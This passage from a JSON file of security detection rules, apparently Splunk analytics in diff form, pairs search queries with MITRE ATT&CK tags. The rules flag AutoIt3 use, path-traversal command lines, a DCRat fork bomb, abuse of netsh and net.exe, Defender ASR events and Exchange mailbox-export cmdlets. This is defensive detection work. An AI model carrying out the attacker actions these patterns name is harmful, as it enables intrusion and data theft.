"Windigo" - ] - } - ] - } - }, - { - "name": "Windows AutoIt3 Execution", - "description": "The following analytic detects the execution of AutoIt3, a scripting language often used for automating Windows GUI tasks and general scripting. It identifies instances where AutoIt3 or its variants are executed by searching for process names or original file names matching 'autoit3.exe'. This activity is significant because attackers frequently use AutoIt3 to automate malicious actions, such as executing malware. If confirmed malicious, this activity could lead to unauthorized code execution, system compromise, or further propagation of malware within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"autoit3.exe\", \"autoit*.exe\") OR Processes.original_file_name IN (\"autoit3.exe\", \"autoit*.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_autoit3_execution_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Other" - ] - } - ], - "message": "Execution of AutoIt3 detected. The source process is $parent_process_name$ and the destination process is $process_name$ on $dest$ by", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Command and Scripting Interpreter Hunting Path Traversal", - "description": "The following analytic identifies path traversal command-line executions, leveraging data from Endpoint Detection and Response (EDR) agents. It detects patterns in command-line arguments indicative of path traversal techniques, such as multiple instances of \"/..\", \"\\..\", or \"\\\\..\". This activity is significant as it often indicates attempts to evade defenses by executing malicious code, such as through msdt.exe. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes by Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | eval count_of_pattern1 = (mvcount(split(process,\"/..\"))-1) | eval count_of_pattern2 = (mvcount(split(process,\"\\..\"))-1) | eval count_of_pattern3 = (mvcount(split(process,\"\\\\..\"))-1) | eval count_of_pattern4 = (mvcount(split(process,\"//..\"))-1) | search count_of_pattern1 > 1 OR count_of_pattern2 > 1 OR count_of_pattern3 > 1 OR count_of_pattern4 > 1 | `windows_command_and_scripting_interpreter_hunting_path_traversal_filter`", - "tags": { - "analytic_story": [ - "Microsoft Support Diagnostic Tool Vulnerability CVE-2022-30190", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A parent process $parent_process_name$ has spawned a child $process_name$ with path traversal commandline $process$ in $dest$", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Command and Scripting Interpreter Path Traversal Exec", - "description": "The following analytic detects path traversal command-line execution, often used in malicious documents to execute code via msdt.exe for defense evasion. It leverages Endpoint Detection and Response (EDR) data, focusing on specific patterns in process paths. This activity is significant as it can indicate an attempt to bypass security controls and execute unauthorized code. If confirmed malicious, this behavior could lead to code execution, privilege escalation, or persistence within the environment, potentially allowing attackers to deploy malware or leverage other living-off-the-land binaries (LOLBins).", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.process=\"*\\/..\\/..\\/..\\/*\" OR Processes.process=\"*\\\\..\\\\..\\\\..\\\\*\" OR Processes.process=\"*\\/\\/..\\/\\/..\\/\\/..\\/\\/*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_id Processes.process_hash | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_command_and_scripting_interpreter_path_traversal_exec_filter`", - "tags": { - "analytic_story": [ - "Microsoft Support Diagnostic Tool Vulnerability CVE-2022-30190", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A parent process $parent_process_name$ has spawned a child $process_name$ with path traversal commandline $process$ in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Command Shell DCRat ForkBomb Payload", - "description": "The following analytic detects the execution of a DCRat \"forkbomb\" payload, which spawns multiple cmd.exe processes that launch notepad.exe instances in quick succession. This detection leverages Endpoint Detection and Response (EDR) data, focusing on the rapid creation of cmd.exe and notepad.exe processes within a 30-second window. This activity is significant as it indicates a potential DCRat infection, a known Remote Access Trojan (RAT) with destructive capabilities. If confirmed malicious, this behavior could lead to system instability, resource exhaustion, and potential disruption of services.", - "search": "| tstats `security_content_summariesonly` values(Processes.process) as process values(Processes.parent_process) as parent_process values(Processes.parent_process_id) as parent_process_id values(Processes.process_id) as process_id dc(Processes.parent_process_id) as parent_process_id_count dc(Processes.process_id) as process_id_count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name= \"cmd.exe\" (Processes.process_name = \"notepad.exe\" OR Processes.original_file_name= \"notepad.exe\") Processes.parent_process = \"*.bat*\" by Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.parent_process Processes.dest Processes.user _time span=30s | where parent_process_id_count>= 10 AND process_id_count >=10 | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_command_shell_dcrat_forkbomb_payload_filter`", - "tags": { - "analytic_story": [ - "DarkCrystal RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple cmd.exe processes with child process of notepad.exe executed on $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Common Abused Cmd Shell Risk Behavior", - "description": "The following analytic identifies instances where four or more distinct detection analytics are associated with malicious command line behavior on a specific host. This detection leverages the Command Line Interface (CLI) data from various sources to identify suspicious activities. This behavior is significant as it often indicates attempts to execute malicious commands, access sensitive data, install backdoors, or perform other nefarious actions. If confirmed malicious, attackers could gain unauthorized control, exfiltrate information, escalate privileges, or launch further attacks within the network, leading to severe compromise.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where source IN (\"*Cmdline Tool Not Executed In CMD Shell*\", \"*Windows System Network Config Discovery Display DNS*\", \"*Local Account Discovery With Wmic*\", \"*Net Localgroup Discovery*\", \"*Create local admin accounts using net exe*\", \"*Local Account Discovery with Net*\", \"*Icacls Deny Command*\", \"*ICACLS Grant Command*\", \"*Windows Proxy Via Netsh*\", \"*Processes launching netsh*\", \"*Disabling Firewall with Netsh*\", \"*Windows System Network Connections Discovery Netsh*\", \"*Network Connection Discovery With Arp*\", \"*Windows System Discovery Using ldap Nslookup*\", \"*Windows System Shutdown CommandLine*\") by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `windows_common_abused_cmd_shell_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "DarkCrystal RAT", - "Disabling Security Tools", - "FIN7", - "Netsh Abuse", - "Qakbot", - "Sandworm Tools", - "Volt Typhoon", - "Windows Defense Evasion Tactics", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "series of process commandline being abused by threat actor have been identified on $risk_object$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1222", - "mitre_attack_technique": "File and Directory Permissions Modification", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1049", - "mitre_attack_technique": "System Network Connections Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT38", - "APT41", - "APT5", - "Andariel", - "BackdoorDiplomacy", - "Chimera", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Mustang Panda", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "TeamTNT", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1529", - "mitre_attack_technique": "System Shutdown/Reboot", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [ - "APT37", - "APT38", - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1016", - "mitre_attack_technique": "System Network Configuration Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT19", - "APT3", - "APT32", - "APT41", - "Chimera", - "Darkhotel", - "Dragonfly", - "Earth Lusca", - "FIN13", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Higaisa", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Naikon", - "OilRig", - "SideCopy", - "Sidewinder", - "Stealth Falcon", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Audit Events", - "description": "This detection searches for Windows Defender ASR audit events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR audit events that are generated when a process or application attempts to perform an action that would be blocked by an ASR rule, but is allowed to proceed for auditing purposes.", - "search": "`ms_defender` EventCode IN (1122, 1125, 1126, 1132, 1134) | stats count min(_time) as firstTime max(_time) as lastTime by host, Process_Name, Target_Commandline, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_audit_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR audit event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Block Events", - "description": "This detection searches for Windows Defender ASR block events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR block events that are generated when a process or application attempts to perform an action that is blocked by an ASR rule. Typically, these will be enabled in block most after auditing and tuning the ASR rules themselves. Set to TTP once tuned.", - "search": "`ms_defender` EventCode IN (1121, 1126, 1129, 1131, 1133) | stats count min(_time) as firstTime max(_time) as lastTime by host, Path, Parent_Commandline, Process_Name, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_block_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR block event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Rules Stacking", - "description": "The following analytic identifies security events from Microsoft Defender, focusing on Exploit Guard and Attack Surface Reduction (ASR) features. It detects Event IDs 1121, 1126, 1131, and 1133 for blocked operations, and Event IDs 1122, 1125, 1132, and 1134 for audit logs. Event ID 1129 indicates user overrides, while Event ID 5007 signals configuration changes. This detection uses a lookup to correlate ASR rule GUIDs with descriptive names. Monitoring these events is crucial for identifying unauthorized operations, potential security breaches, and policy enforcement issues. If confirmed malicious, attackers could bypass security measures, execute unauthorized actions, or alter system configurations.", - "search": "`ms_defender` EventCode IN (1121, 1122, 1125, 1126, 1129, 1131, 1132, 1133, 1134, 5007) | stats count min(_time) as firstTime max(_time) as lastTime by host Parent_Commandline, Process_Name, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_rules_stacking_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An ASR rule, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows Identify Protocol Handlers", - "description": "The following analytic identifies the use of protocol handlers executed via the command line. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and command-line telemetry. This activity is significant because protocol handlers can be exploited to execute arbitrary commands or launch applications, potentially leading to unauthorized actions. If confirmed malicious, an attacker could use this technique to gain code execution, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes by Processes.dest Processes.parent_process_name Processes.user Processes.process_name Processes.process | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `drop_dm_object_name(Processes)` | lookup windows_protocol_handlers handler AS process OUTPUT handler ishandler | where ishandler=\"TRUE\" | `windows_identify_protocol_handlers_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process Name", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ utilizing a protocol handler.", - "risk_score": 6, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Windows MSExchange Management Mailbox Cmdlet Usage", - "description": "The following analytic identifies suspicious Cmdlet usage in Exchange Management logs, focusing on commands like New-MailboxExportRequest and New-ManagementRoleAssignment. It leverages EventCode 1 and specific Message patterns to detect potential ProxyShell and ProxyNotShell abuse. This activity is significant as it may indicate unauthorized access or manipulation of mailboxes and roles, which are critical for maintaining email security. If confirmed malicious, attackers could export mailbox data, assign new roles, or search mailboxes, leading to data breaches and privilege escalation.", - "search": "`msexchange_management` EventCode=1 Message IN (\"*New-MailboxExportRequest*\", \"*New-ManagementRoleAssignment*\", \"*New-MailboxSearch*\", 